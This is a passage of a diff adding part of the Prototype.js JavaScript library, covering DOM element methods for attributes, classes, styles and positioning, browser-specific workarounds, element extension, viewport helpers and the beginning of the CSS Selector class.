+    element = $(element);
+    if (arguments.length == 1) return $(Selector.handlers.nextElementSibling(element));
+    var nextSiblings = element.nextSiblings();
+    return expression ? Selector.findElement(nextSiblings, expression, index) :
+      nextSiblings[index || 0];
+  },
+
+  select: function() {
+    var args = $A(arguments), element = $(args.shift());
+    return Selector.findChildElements(element, args);
+  },
+
+  adjacent: function() {
+    var args = $A(arguments), element = $(args.shift());
+    return Selector.findChildElements(element.parentNode, args).without(element);
+  },
+
+  identify: function(element) {
+    element = $(element);
+    var id = element.readAttribute('id'), self = arguments.callee;
+    if (id) return id;
+    do { id = 'anonymous_element_' + self.counter++ } while ($(id));
+    element.writeAttribute('id', id);
+    return id;
+  },
+
+  readAttribute: function(element, name) {
+    element = $(element);
+    if (Prototype.Browser.IE) {
+      var t = Element._attributeTranslations.read;
+      if (t.values[name]) return t.values[name](element, name);
+      if (t.names[name]) name = t.names[name];
+      if (name.include(':')) {
+        return (!element.attributes || !element.attributes[name]) ? null :
+         element.attributes[name].value;
+      }
+    }
+    return element.getAttribute(name);
+  },
+
+  writeAttribute: function(element, name, value) {
+    element = $(element);
+    var attributes = { }, t = Element._attributeTranslations.write;
+
+    if (typeof name == 'object') attributes = name;
+    else attributes[name] = value === undefined ? true : value;
+
+    for (var attr in attributes) {
+      var name = t.names[attr] || attr, value = attributes[attr];
+      if (t.values[attr]) name = t.values[attr](element, value);
+      if (value === false || value === null)
+        element.removeAttribute(name);
+      else if (value === true)
+        element.setAttribute(name, name);
+      else element.setAttribute(name, value);
+    }
+    return element;
+  },
+
+  getHeight: function(element) {
+    return $(element).getDimensions().height;
+  },
+
+  getWidth: function(element) {
+    return $(element).getDimensions().width;
+  },
+
+  classNames: function(element) {
+    return new Element.ClassNames(element);
+  },
+
+  hasClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    var elementClassName = element.className;
+    return (elementClassName.length > 0 && (elementClassName == className ||
+      new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName)));
+  },
+
+  addClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    if (!element.hasClassName(className))
+      element.className += (element.className ? ' ' : '') + className;
+    return element;
+  },
+
+  removeClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    element.className = element.className.replace(
+      new RegExp("(^|\\s+)" + className + "(\\s+|$)"), ' ').strip();
+    return element;
+  },
+
+  toggleClassName: function(element, className) {
+    if (!(element = $(element))) return;
+    return element[element.hasClassName(className) ?
+      'removeClassName' : 'addClassName'](className);
+  },
+
+  // removes whitespace-only text node children
+  cleanWhitespace: function(element) {
+    element = $(element);
+    var node = element.firstChild;
+    while (node) {
+      var nextNode = node.nextSibling;
+      if (node.nodeType == 3 && !/\S/.test(node.nodeValue))
+        element.removeChild(node);
+      node = nextNode;
+    }
+    return element;
+  },
+
+  empty: function(element) {
+    return $(element).innerHTML.blank();
+  },
+
+  descendantOf: function(element, ancestor) {
+    element = $(element), ancestor = $(ancestor);
+
+    if (element.compareDocumentPosition)
+      return (element.compareDocumentPosition(ancestor) & 8) === 8;
+
+    if (element.sourceIndex && !Prototype.Browser.Opera) {
+      var e = element.sourceIndex, a = ancestor.sourceIndex,
+       nextAncestor = ancestor.nextSibling;
+      if (!nextAncestor) {
+        do { ancestor = ancestor.parentNode; }
+        while (!(nextAncestor = ancestor.nextSibling) && ancestor.parentNode);
+      }
+      if (nextAncestor) return (e > a && e < nextAncestor.sourceIndex);
+    }
+
+    while (element = element.parentNode)
+      if (element == ancestor) return true;
+    return false;
+  },
+
+  scrollTo: function(element) {
+    element = $(element);
+    var pos = element.cumulativeOffset();
+    window.scrollTo(pos[0], pos[1]);
+    return element;
+  },
+
+  getStyle: function(element, style) {
+    element = $(element);
+    style = style == 'float' ? 'cssFloat' : style.camelize();
+    var value = element.style[style];
+    if (!value) {
+      var css = document.defaultView.getComputedStyle(element, null);
+      value = css ? css[style] : null;
+    }
+    if (style == 'opacity') return value ? parseFloat(value) : 1.0;
+    return value == 'auto' ? null : value;
+  },
+
+  getOpacity: function(element) {
+    return $(element).getStyle('opacity');
+  },
+
+  setStyle: function(element, styles) {
+    element = $(element);
+    var elementStyle = element.style, match;
+    if (Object.isString(styles)) {
+      element.style.cssText += ';' + styles;
+      return styles.include('opacity') ?
+        element.setOpacity(styles.match(/opacity:\s*(\d?\.?\d*)/)[1]) : element;
+    }
+    for (var property in styles)
+      if (property == 'opacity') element.setOpacity(styles[property]);
+      else
+        elementStyle[(property == 'float' || property == 'cssFloat') ?
+          (elementStyle.styleFloat === undefined ? 'cssFloat' : 'styleFloat') :
+            property] = styles[property];
+
+    return element;
+  },
+
+  setOpacity: function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1 || value === '') ? '' :
+      (value < 0.00001) ? 0 : value;
+    return element;
+  },
+
+  getDimensions: function(element) {
+    element = $(element);
+    var display = $(element).getStyle('display');
+    if (display != 'none' && display != null) // Safari bug
+      return {width: element.offsetWidth, height: element.offsetHeight};
+
+    // All *Width and *Height properties give 0 on elements with display none,
+    // so enable the element temporarily
+    var els = element.style;
+    var originalVisibility = els.visibility;
+    var originalPosition = els.position;
+    var originalDisplay = els.display;
+    els.visibility = 'hidden';
+    els.position = 'absolute';
+    els.display = 'block';
+    var originalWidth = element.clientWidth;
+    var originalHeight = element.clientHeight;
+    els.display = originalDisplay;
+    els.position = originalPosition;
+    els.visibility = originalVisibility;
+    return {width: originalWidth, height: originalHeight};
+  },
+
+  makePositioned: function(element) {
+    element = $(element);
+    var pos = Element.getStyle(element, 'position');
+    if (pos == 'static' || !pos) {
+      element._madePositioned = true;
+      element.style.position = 'relative';
+      // Opera returns the offset relative to the positioning context, when an
+      // element is position relative but top and left have not been defined
+      if (window.opera) {
+        element.style.top = 0;
+        element.style.left = 0;
+      }
+    }
+    return element;
+  },
+
+  undoPositioned: function(element) {
+    element = $(element);
+    if (element._madePositioned) {
+      element._madePositioned = undefined;
+      element.style.position =
+        element.style.top =
+        element.style.left =
+        element.style.bottom =
+        element.style.right = '';
+    }
+    return element;
+  },
+
+  makeClipping: function(element) {
+    element = $(element);
+    if (element._overflow) return element;
+    element._overflow = Element.getStyle(element, 'overflow') || 'auto';
+    if (element._overflow !== 'hidden')
+      element.style.overflow = 'hidden';
+    return element;
+  },
+
+  undoClipping: function(element) {
+    element = $(element);
+    if (!element._overflow) return element;
+    element.style.overflow = element._overflow == 'auto' ? '' : element._overflow;
+    element._overflow = null;
+    return element;
+  },
+
+  cumulativeOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      element = element.offsetParent;
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  positionedOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      element = element.offsetParent;
+      if (element) {
+        if (element.tagName == 'BODY') break;
+        var p = Element.getStyle(element, 'position');
+        if (p == 'relative' || p == 'absolute') break;
+      }
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  absolutize: function(element) {
+    element = $(element);
+    if (element.getStyle('position') == 'absolute') return;
+    // Position.prepare(); // To be done manually by Scripty when it needs it.
+
+    var offsets = element.positionedOffset();
+    var top     = offsets[1];
+    var left    = offsets[0];
+    var width   = element.clientWidth;
+    var height  = element.clientHeight;
+
+    element._originalLeft   = left - parseFloat(element.style.left  || 0);
+    element._originalTop    = top  - parseFloat(element.style.top || 0);
+    element._originalWidth  = element.style.width;
+    element._originalHeight = element.style.height;
+
+    element.style.position = 'absolute';
+    element.style.top    = top + 'px';
+    element.style.left   = left + 'px';
+    element.style.width  = width + 'px';
+    element.style.height = height + 'px';
+    return element;
+  },
+
+  relativize: function(element) {
+    element = $(element);
+    if (element.getStyle('position') == 'relative') return;
+    // Position.prepare(); // To be done manually by Scripty when it needs it.
+
+    element.style.position = 'relative';
+    var top  = parseFloat(element.style.top  || 0) - (element._originalTop || 0);
+    var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0);
+
+    element.style.top    = top + 'px';
+    element.style.left   = left + 'px';
+    element.style.height = element._originalHeight;
+    element.style.width  = element._originalWidth;
+    return element;
+  },
+
+  cumulativeScrollOffset: function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.scrollTop  || 0;
+      valueL += element.scrollLeft || 0;
+      element = element.parentNode;
+    } while (element);
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  getOffsetParent: function(element) {
+    if (element.offsetParent) return $(element.offsetParent);
+    if (element == document.body) return $(element);
+
+    while ((element = element.parentNode) && element != document.body)
+      if (Element.getStyle(element, 'position') != 'static')
+        return $(element);
+
+    return $(document.body);
+  },
+
+  viewportOffset: function(forElement) {
+    var valueT = 0, valueL = 0;
+
+    var element = forElement;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+
+      // Safari fix
+      if (element.offsetParent == document.body &&
+        Element.getStyle(element, 'position') == 'absolute') break;
+
+    } while (element = element.offsetParent);
+
+    element = forElement;
+    do {
+      if (!Prototype.Browser.Opera || element.tagName == 'BODY') {
+        valueT -= element.scrollTop  || 0;
+        valueL -= element.scrollLeft || 0;
+      }
+    } while (element = element.parentNode);
+
+    return Element._returnOffset(valueL, valueT);
+  },
+
+  clonePosition: function(element, source) {
+    var options = Object.extend({
+      setLeft:    true,
+      setTop:     true,
+      setWidth:   true,
+      setHeight:  true,
+      offsetTop:  0,
+      offsetLeft: 0
+    }, arguments[2] || { });
+
+    // find page position of source
+    source = $(source);
+    var p = source.viewportOffset();
+
+    // find coordinate system to use
+    element = $(element);
+    var delta = [0, 0];
+    var parent = null;
+    // delta [0,0] will do fine with position: fixed elements,
+    // position:absolute needs offsetParent deltas
+    if (Element.getStyle(element, 'position') == 'absolute') {
+      parent = element.getOffsetParent();
+      delta = parent.viewportOffset();
+    }
+
+    // correct by body offsets (fixes Safari)
+    if (parent == document.body) {
+      delta[0] -= document.body.offsetLeft;
+      delta[1] -= document.body.offsetTop;
+    }
+
+    // set position
+    if (options.setLeft)   element.style.left  = (p[0] - delta[0] + options.offsetLeft) + 'px';
+    if (options.setTop)    element.style.top   = (p[1] - delta[1] + options.offsetTop) + 'px';
+    if (options.setWidth)  element.style.width = source.offsetWidth + 'px';
+    if (options.setHeight) element.style.height = source.offsetHeight + 'px';
+    return element;
+  }
+};
+
+Element.Methods.identify.counter = 1;
+
+Object.extend(Element.Methods, {
+  getElementsBySelector: Element.Methods.select,
+  childElements: Element.Methods.immediateDescendants
+});
+
+Element._attributeTranslations = {
+  write: {
+    names: {
+      className: 'class',
+      htmlFor:   'for'
+    },
+    values: { }
+  }
+};
+
+
+if (!document.createRange || Prototype.Browser.Opera) {
+  Element.Methods.insert = function(element, insertions) {
+    element = $(element);
+
+    if (Object.isString(insertions) || Object.isNumber(insertions) ||
+        Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML)))
+          insertions = { bottom: insertions };
+
+    var t = Element._insertionTranslations, content, position, pos, tagName;
+
+    for (position in insertions) {
+      content  = insertions[position];
+      position = position.toLowerCase();
+      pos      = t[position];
+
+      if (content && content.toElement) content = content.toElement();
+      if (Object.isElement(content)) {
+        pos.insert(element, content);
+        continue;
+      }
+
+      content = Object.toHTML(content);
+      tagName = ((position == 'before' || position == 'after')
+        ? element.parentNode : element).tagName.toUpperCase();
+
+      if (t.tags[tagName]) {
+        var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
+        if (position == 'top' || position == 'after') fragments.reverse();
+        fragments.each(pos.insert.curry(element));
+      }
+      else element.insertAdjacentHTML(pos.adjacency, content.stripScripts());
+
+      content.evalScripts.bind(content).defer();
+    }
+
+    return element;
+  };
+}
+
+if (Prototype.Browser.Opera) {
+  Element.Methods._getStyle = Element.Methods.getStyle;
+  Element.Methods.getStyle = function(element, style) {
+    switch(style) {
+      case 'left':
+      case 'top':
+      case 'right':
+      case 'bottom':
+        if (Element._getStyle(element, 'position') == 'static') return null;
+      default: return Element._getStyle(element, style);
+    }
+  };
+  Element.Methods._readAttribute = Element.Methods.readAttribute;
+  Element.Methods.readAttribute = function(element, attribute) {
+    if (attribute == 'title') return element.title;
+    return Element._readAttribute(element, attribute);
+  };
+}
+
+else if (Prototype.Browser.IE) {
+  $w('positionedOffset getOffsetParent viewportOffset').each(function(method) {
+    Element.Methods[method] = Element.Methods[method].wrap(
+      function(proceed, element) {
+        element = $(element);
+        var position = element.getStyle('position');
+        if (position != 'static') return proceed(element);
+        element.setStyle({ position: 'relative' });
+        var value = proceed(element);
+        element.setStyle({ position: position });
+        return value;
+      }
+    );
+  });
+
+  Element.Methods.getStyle = function(element, style) {
+    element = $(element);
+    style = (style == 'float' || style == 'cssFloat') ? 'styleFloat' : style.camelize();
+    var value = element.style[style];
+    if (!value && element.currentStyle) value = element.currentStyle[style];
+
+    if (style == 'opacity') {
+      if (value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/))
+        if (value[1]) return parseFloat(value[1]) / 100;
+      return 1.0;
+    }
+
+    if (value == 'auto') {
+      if ((style == 'width' || style == 'height') && (element.getStyle('display') != 'none'))
+        return element['offset' + style.capitalize()] + 'px';
+      return null;
+    }
+    return value;
+  };
+
+  Element.Methods.setOpacity = function(element, value) {
+    function stripAlpha(filter){
+      return filter.replace(/alpha\([^\)]*\)/gi,'');
+    }
+    element = $(element);
+    var currentStyle = element.currentStyle;
+    if ((currentStyle && !currentStyle.hasLayout) ||
+      (!currentStyle && element.style.zoom == 'normal'))
+        element.style.zoom = 1;
+
+    var filter = element.getStyle('filter'), style = element.style;
+    if (value == 1 || value === '') {
+      (filter = stripAlpha(filter)) ?
+        style.filter = filter : style.removeAttribute('filter');
+      return element;
+    } else if (value < 0.00001) value = 0;
+    style.filter = stripAlpha(filter) +
+      'alpha(opacity=' + (value * 100) + ')';
+    return element;
+  };
+
+  Element._attributeTranslations = {
+    read: {
+      names: {
+        'class': 'className',
+        'for':   'htmlFor'
+      },
+      values: {
+        _getAttr: function(element, attribute) {
+          return element.getAttribute(attribute, 2);
+        },
+        _getAttrNode: function(element, attribute) {
+          var node = element.getAttributeNode(attribute);
+          return node ? node.value : "";
+        },
+        _getEv: function(element, attribute) {
+          var attribute = element.getAttribute(attribute);
+          return attribute ? attribute.toString().slice(23, -2) : null;
+        },
+        _flag: function(element, attribute) {
+          return $(element).hasAttribute(attribute) ? attribute : null;
+        },
+        style: function(element) {
+          return element.style.cssText.toLowerCase();
+        },
+        title: function(element) {
+          return element.title;
+        }
+      }
+    }
+  };
+
+  Element._attributeTranslations.write = {
+    names: Object.clone(Element._attributeTranslations.read.names),
+    values: {
+      checked: function(element, value) {
+        element.checked = !!value;
+      },
+
+      style: function(element, value) {
+        element.style.cssText = value ? value : '';
+      }
+    }
+  };
+
+  Element._attributeTranslations.has = {};
+
+  $w('colSpan rowSpan vAlign dateTime accessKey tabIndex ' +
+      'encType maxLength readOnly longDesc').each(function(attr) {
+    Element._attributeTranslations.write.names[attr.toLowerCase()] = attr;
+    Element._attributeTranslations.has[attr.toLowerCase()] = attr;
+  });
+
+  (function(v) {
+    Object.extend(v, {
+      href:        v._getAttr,
+      src:         v._getAttr,
+      type:        v._getAttr,
+      action:      v._getAttrNode,
+      disabled:    v._flag,
+      checked:     v._flag,
+      readonly:    v._flag,
+      multiple:    v._flag,
+      onload:      v._getEv,
+      onunload:    v._getEv,
+      onclick:     v._getEv,
+      ondblclick:  v._getEv,
+      onmousedown: v._getEv,
+      onmouseup:   v._getEv,
+      onmouseover: v._getEv,
+      onmousemove: v._getEv,
+      onmouseout:  v._getEv,
+      onfocus:     v._getEv,
+      onblur:      v._getEv,
+      onkeypress:  v._getEv,
+      onkeydown:   v._getEv,
+      onkeyup:     v._getEv,
+      onsubmit:    v._getEv,
+      onreset:     v._getEv,
+      onselect:    v._getEv,
+      onchange:    v._getEv
+    });
+  })(Element._attributeTranslations.read.values);
+}
+
+else if (Prototype.Browser.Gecko && /rv:1\.8\.0/.test(navigator.userAgent)) {
+  Element.Methods.setOpacity = function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1) ? 0.999999 :
+      (value === '') ? '' : (value < 0.00001) ? 0 : value;
+    return element;
+  };
+}
+
+else if (Prototype.Browser.WebKit) {
+  Element.Methods.setOpacity = function(element, value) {
+    element = $(element);
+    element.style.opacity = (value == 1 || value === '') ? '' :
+      (value < 0.00001) ? 0 : value;
+
+    if (value == 1)
+      if(element.tagName == 'IMG' && element.width) {
+        element.width++; element.width--;
+      } else try {
+        var n = document.createTextNode(' ');
+        element.appendChild(n);
+        element.removeChild(n);
+      } catch (e) { }
+
+    return element;
+  };
+
+  // Safari returns margins on body which is incorrect if the child is absolutely
+  // positioned.  For performance reasons, redefine Position.cumulativeOffset for
+  // KHTML/WebKit only.
+  Element.Methods.cumulativeOffset = function(element) {
+    var valueT = 0, valueL = 0;
+    do {
+      valueT += element.offsetTop  || 0;
+      valueL += element.offsetLeft || 0;
+      if (element.offsetParent == document.body)
+        if (Element.getStyle(element, 'position') == 'absolute') break;
+
+      element = element.offsetParent;
+    } while (element);
+
+    return Element._returnOffset(valueL, valueT);
+  };
+}
+
+if (Prototype.Browser.IE || Prototype.Browser.Opera) {
+  // IE and Opera are missing .innerHTML support for TABLE-related and SELECT elements
+  Element.Methods.update = function(element, content) {
+    element = $(element);
+
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) return element.update().insert(content);
+
+    content = Object.toHTML(content);
+    var tagName = element.tagName.toUpperCase();
+
+    if (tagName in Element._insertionTranslations.tags) {
+      $A(element.childNodes).each(function(node) { element.removeChild(node) });
+      Element._getContentFromAnonymousElement(tagName, content.stripScripts())
+        .each(function(node) { element.appendChild(node) });
+    }
+    else element.innerHTML = content.stripScripts();
+
+    content.evalScripts.bind(content).defer();
+    return element;
+  };
+}
+
+if (document.createElement('div').outerHTML) {
+  Element.Methods.replace = function(element, content) {
+    element = $(element);
+
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) {
+      element.parentNode.replaceChild(content, element);
+      return element;
+    }
+
+    content = Object.toHTML(content);
+    var parent = element.parentNode, tagName = parent.tagName.toUpperCase();
+
+    if (Element._insertionTranslations.tags[tagName]) {
+      var nextSibling = element.next();
+      var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
+      parent.removeChild(element);
+      if (nextSibling)
+        fragments.each(function(node) { parent.insertBefore(node, nextSibling) });
+      else
+        fragments.each(function(node) { parent.appendChild(node) });
+    }
+    else element.outerHTML = content.stripScripts();
+
+    content.evalScripts.bind(content).defer();
+    return element;
+  };
+}
+
+Element._returnOffset = function(l, t) {
+  var result = [l, t];
+  result.left = l;
+  result.top = t;
+  return result;
+};
+
+Element._getContentFromAnonymousElement = function(tagName, html) {
+  var div = new Element('div'), t = Element._insertionTranslations.tags[tagName];
+  div.innerHTML = t[0] + html + t[1];
+  t[2].times(function() { div = div.firstChild });
+  return $A(div.childNodes);
+};
+
+Element._insertionTranslations = {
+  before: {
+    adjacency: 'beforeBegin',
+    insert: function(element, node) {
+      element.parentNode.insertBefore(node, element);
+    },
+    initializeRange: function(element, range) {
+      range.setStartBefore(element);
+    }
+  },
+  top: {
+    adjacency: 'afterBegin',
+    insert: function(element, node) {
+      element.insertBefore(node, element.firstChild);
+    },
+    initializeRange: function(element, range) {
+      range.selectNodeContents(element);
+      range.collapse(true);
+    }
+  },
+  bottom: {
+    adjacency: 'beforeEnd',
+    insert: function(element, node) {
+      element.appendChild(node);
+    }
+  },
+  after: {
+    adjacency: 'afterEnd',
+    insert: function(element, node) {
+      element.parentNode.insertBefore(node, element.nextSibling);
+    },
+    initializeRange: function(element, range) {
+      range.setStartAfter(element);
+    }
+  },
+  tags: {
+    TABLE:  ['<table>',                '</table>',                   1],
+    TBODY:  ['<table><tbody>',         '</tbody></table>',           2],
+    TR:     ['<table><tbody><tr>',     '</tr></tbody></table>',      3],
+    TD:     ['<table><tbody><tr><td>', '</td></tr></tbody></table>', 4],
+    SELECT: ['<select>',               '</select>',                  1]
+  }
+};
+
+(function() {
+  this.bottom.initializeRange = this.top.initializeRange;
+  Object.extend(this.tags, {
+    THEAD: this.tags.TBODY,
+    TFOOT: this.tags.TBODY,
+    TH:    this.tags.TD
+  });
+}).call(Element._insertionTranslations);
+
+Element.Methods.Simulated = {
+  hasAttribute: function(element, attribute) {
+    attribute = Element._attributeTranslations.has[attribute] || attribute;
+    var node = $(element).getAttributeNode(attribute);
+    return node && node.specified;
+  }
+};
+
+Element.Methods.ByTag = { };
+
+Object.extend(Element, Element.Methods);
+
+if (!Prototype.BrowserFeatures.ElementExtensions &&
+    document.createElement('div').__proto__) {
+  window.HTMLElement = { };
+  window.HTMLElement.prototype = document.createElement('div').__proto__;
+  Prototype.BrowserFeatures.ElementExtensions = true;
+}
+
+Element.extend = (function() {
+  if (Prototype.BrowserFeatures.SpecificElementExtensions)
+    return Prototype.K;
+
+  var Methods = { }, ByTag = Element.Methods.ByTag;
+
+  var extend = Object.extend(function(element) {
+    if (!element || element._extendedByPrototype ||
+        element.nodeType != 1 || element == window) return element;
+
+    var methods = Object.clone(Methods),
+      tagName = element.tagName, property, value;
+
+    // extend methods for specific tags
+    if (ByTag[tagName]) Object.extend(methods, ByTag[tagName]);
+
+    for (property in methods) {
+      value = methods[property];
+      if (Object.isFunction(value) && !(property in element))
+        element[property] = value.methodize();
+    }
+
+    element._extendedByPrototype = Prototype.emptyFunction;
+    return element;
+
+  }, {
+    refresh: function() {
+      // extend methods for all tags (Safari doesn't need this)
+      if (!Prototype.BrowserFeatures.ElementExtensions) {
+        Object.extend(Methods, Element.Methods);
+        Object.extend(Methods, Element.Methods.Simulated);
+      }
+    }
+  });
+
+  extend.refresh();
+  return extend;
+})();
+
+Element.hasAttribute = function(element, attribute) {
+  if (element.hasAttribute) return element.hasAttribute(attribute);
+  return Element.Methods.Simulated.hasAttribute(element, attribute);
+};
+
+Element.addMethods = function(methods) {
+  var F = Prototype.BrowserFeatures, T = Element.Methods.ByTag;
+
+  if (!methods) {
+    Object.extend(Form, Form.Methods);
+    Object.extend(Form.Element, Form.Element.Methods);
+    Object.extend(Element.Methods.ByTag, {
+      "FORM":     Object.clone(Form.Methods),
+      "INPUT":    Object.clone(Form.Element.Methods),
+      "SELECT":   Object.clone(Form.Element.Methods),
+      "TEXTAREA": Object.clone(Form.Element.Methods)
+    });
+  }
+
+  if (arguments.length == 2) {
+    var tagName = methods;
+    methods = arguments[1];
+  }
+
+  if (!tagName) Object.extend(Element.Methods, methods || { });
+  else {
+    if (Object.isArray(tagName)) tagName.each(extend);
+    else extend(tagName);
+  }
+
+  function extend(tagName) {
+    tagName = tagName.toUpperCase();
+    if (!Element.Methods.ByTag[tagName])
+      Element.Methods.ByTag[tagName] = { };
+    Object.extend(Element.Methods.ByTag[tagName], methods);
+  }
+
+  function copy(methods, destination, onlyIfAbsent) {
+    onlyIfAbsent = onlyIfAbsent || false;
+    for (var property in methods) {
+      var value = methods[property];
+      if (!Object.isFunction(value)) continue;
+      if (!onlyIfAbsent || !(property in destination))
+        destination[property] = value.methodize();
+    }
+  }
+
+  function findDOMClass(tagName) {
+    var klass;
+    var trans = {
+      "OPTGROUP": "OptGroup", "TEXTAREA": "TextArea", "P": "Paragraph",
+      "FIELDSET": "FieldSet", "UL": "UList", "OL": "OList", "DL": "DList",
+      "DIR": "Directory", "H1": "Heading", "H2": "Heading", "H3": "Heading",
+      "H4": "Heading", "H5": "Heading", "H6": "Heading", "Q": "Quote",
+      "INS": "Mod", "DEL": "Mod", "A": "Anchor", "IMG": "Image", "CAPTION":
+      "TableCaption", "COL": "TableCol", "COLGROUP": "TableCol", "THEAD":
+      "TableSection", "TFOOT": "TableSection", "TBODY": "TableSection", "TR":
+      "TableRow", "TH": "TableCell", "TD": "TableCell", "FRAMESET":
+      "FrameSet", "IFRAME": "IFrame"
+    };
+    if (trans[tagName]) klass = 'HTML' + trans[tagName] + 'Element';
+    if (window[klass]) return window[klass];
+    klass = 'HTML' + tagName + 'Element';
+    if (window[klass]) return window[klass];
+    klass = 'HTML' + tagName.capitalize() + 'Element';
+    if (window[klass]) return window[klass];
+
+    window[klass] = { };
+    window[klass].prototype = document.createElement(tagName).__proto__;
+    return window[klass];
+  }
+
+  if (F.ElementExtensions) {
+    copy(Element.Methods, HTMLElement.prototype);
+    copy(Element.Methods.Simulated, HTMLElement.prototype, true);
+  }
+
+  if (F.SpecificElementExtensions) {
+    for (var tag in Element.Methods.ByTag) {
+      var klass = findDOMClass(tag);
+      if (Object.isUndefined(klass)) continue;
+      copy(T[tag], klass.prototype);
+    }
+  }
+
+  Object.extend(Element, Element.Methods);
+  delete Element.ByTag;
+
+  if (Element.extend.refresh) Element.extend.refresh();
+  Element.cache = { };
+};
+
+document.viewport = {
+  getDimensions: function() {
+    var dimensions = { };
+    $w('width height').each(function(d) {
+      var D = d.capitalize();
+      dimensions[d] = self['inner' + D] ||
+       (document.documentElement['client' + D] || document.body['client' + D]);
+    });
+    return dimensions;
+  },
+
+  getWidth: function() {
+    return this.getDimensions().width;
+  },
+
+  getHeight: function() {
+    return this.getDimensions().height;
+  },
+
+  getScrollOffsets: function() {
+    return Element._returnOffset(
+      window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft,
+      window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop);
+  }
+};
+/* Portions of the Selector class are derived from Jack Slocum’s DomQuery,
+ * part of YUI-Ext version 0.40, distributed under the terms of an MIT-style
+ * license.  Please see http://www.yui-ext.com/ for more information. */
+
+var Selector = Class.create({
+  initialize: function(expression) {
+    this.expression = expression.strip();
+    this.compileMatcher();
+  },
+
+  compileMatcher: function() {
+    // Selectors with namespaced attributes can't use the XPath version
+    if (Prototype.BrowserFeatures.XPath && !(/(\[[\w-]*?:|:checked)/).test(this.expression))
+      return this.compileXPathMatcher();
+
+    var e = this.expression, ps = Selector.patterns, h = Selector.handlers,
+        c = Selector.criteria, le, p, m;
+
+    if (Selector._cache[e]) {
+      this.matcher = Selector._cache[e];
+      return;
+    }
+
+    this.matcher = ["this.matcher = function(root) {",
+                    "var r = root, h = Selector.handlers, c = false, n;"];
+
+    while (e && le != e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        p = ps[i];
+        if (m = e.match(p)) {
+          this.matcher.push(Object.isFunction(c[i]) ? c[i](m) :
+             new Template(c[i]).evaluate(m));
+          e = e.replace(m[0], '');
+          break;
+        }
+      }
+    }
+
+    this.matcher.push("return h.unique(n);\n}");
+    eval(this.matcher.join('\n'));
+    Selector._cache[this.expression] = this.matcher;
+  },
+
+  compileXPathMatcher: function() {
+    var e = this.expression, ps = Selector.patterns,
+        x = Selector.xpath, le, m;
+
+    if (Selector._cache[e]) {
+      this.xpath = Selector._cache[e]; return;
+    }
+
+    this.matcher = ['.//*'];
+    while (e && le != e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        if (m = e.match(ps[i])) {
+          this.matcher.push(Object.isFunction(x[i]) ? x[i](m) :
+            new Template(x[i]).evaluate(m));
+          e = e.replace(m[0], '');
+          break;
+        }
+      }
+    }
+
+    this.xpath = this.matcher.join('');
+    Selector._cache[this.expression] = this.xpath;
+  },
+
+  findElements: function(root) {
+    root = root || document;
+    if (this.xpath) return document._getElementsByXPath(this.xpath, root);
+    return this.matcher(root);
+  },
+
+  match: function(element) {
+    this.tokens = [];
+
+    var e = this.expression, ps = Selector.patterns, as = Selector.assertions;
+    var le, p, m;
+
+    while (e && le !== e && (/\S/).test(e)) {
+      le = e;
+      for (var i in ps) {
+        p = ps[i];
+        if (m = e.match(p)) {
+          // use the Selector.assertions methods unless the selector
+          // is too complex.
+          if (as[i]) {
+            this.tokens.push([i, Object.clone(m)]);
+            e = e.replace(m[0], '');
+          } else {
+            // reluctantly do a document-wide search
+            // and look for a match in the array
+            return this.findElements(document).include(element);
+          }
+        }
+      }
+    }
+
+    var match = true, name, matches;
+    for (var i = 0, token; token = this.tokens[i]; i++) {
+      name = token[0], matches = token[1];
+      if (!Selector.assertions[name](element, matches)) {
+        match = false; break;
+      }
+    }
+
+    return match;
+  },
+
+  toString: function() {
+    return this.expression;
+  },
+
+  inspect: function() {
+    return "#<Selector:" + this.expression.inspect() + ">";
+  }
+});
+
+Object.extend(Selector, {
+  _cache: { },
+
+  xpath: {
+    descendant:   "//*",
+    child:        "/*",
+    adjacent:     "/following-sibling::*[1]",
+    laterSibling: '/following-sibling::*',
+    tagName:      function(m) {
+      if (m[1] == '*') return '';
+      return "[local-name()='" + m[1].toLowerCase() +
+             "' or local-name()='" + m[1].toUpperCase() + "']";
+    },
+    className:    "[contains(concat(' ', @class, ' '), ' #{1} ')]",
+    id:           "[@id='#{1}']",
+    attrPresence: "[@#{1}]",
+    attr: function(m) {
+      m[3] = m[5] || m[6];
+      return new Template(Selector.xpath.operators[m[2]]).evaluate(m);
+    },
+    pseudo: function(m) {
+      var h = Selector.xpath.pseudos[m[1]];
+      if (!h) return '';
+      if (Object.isFunction(h)) return h(m);
+      return new Template(Selector.xpath.pseudos[m[1]]).evaluate(m);
+    },
+    operators: {
+      '=':  "[@#{1}='#{3}']",
+      '!=': "[@#{1}!='#{3}']",
+      '^=': "[starts-with(@#{1}, '#{3}')]",
+      '$=': "[substring(@#{1}, (string-length(@#{1}) - string-length('#{3}') + 1))='#{3}']",
+      '*=': "[contains(@#{1}, '#{3}')]",
+      '~=': "[contains(concat(' ', @#{1}, ' '), ' #{3} ')]",
+      '|=': "[contains(concat('-', @#{1}, '-'), '-#{3}-')]"
+    },
+    pseudos: {
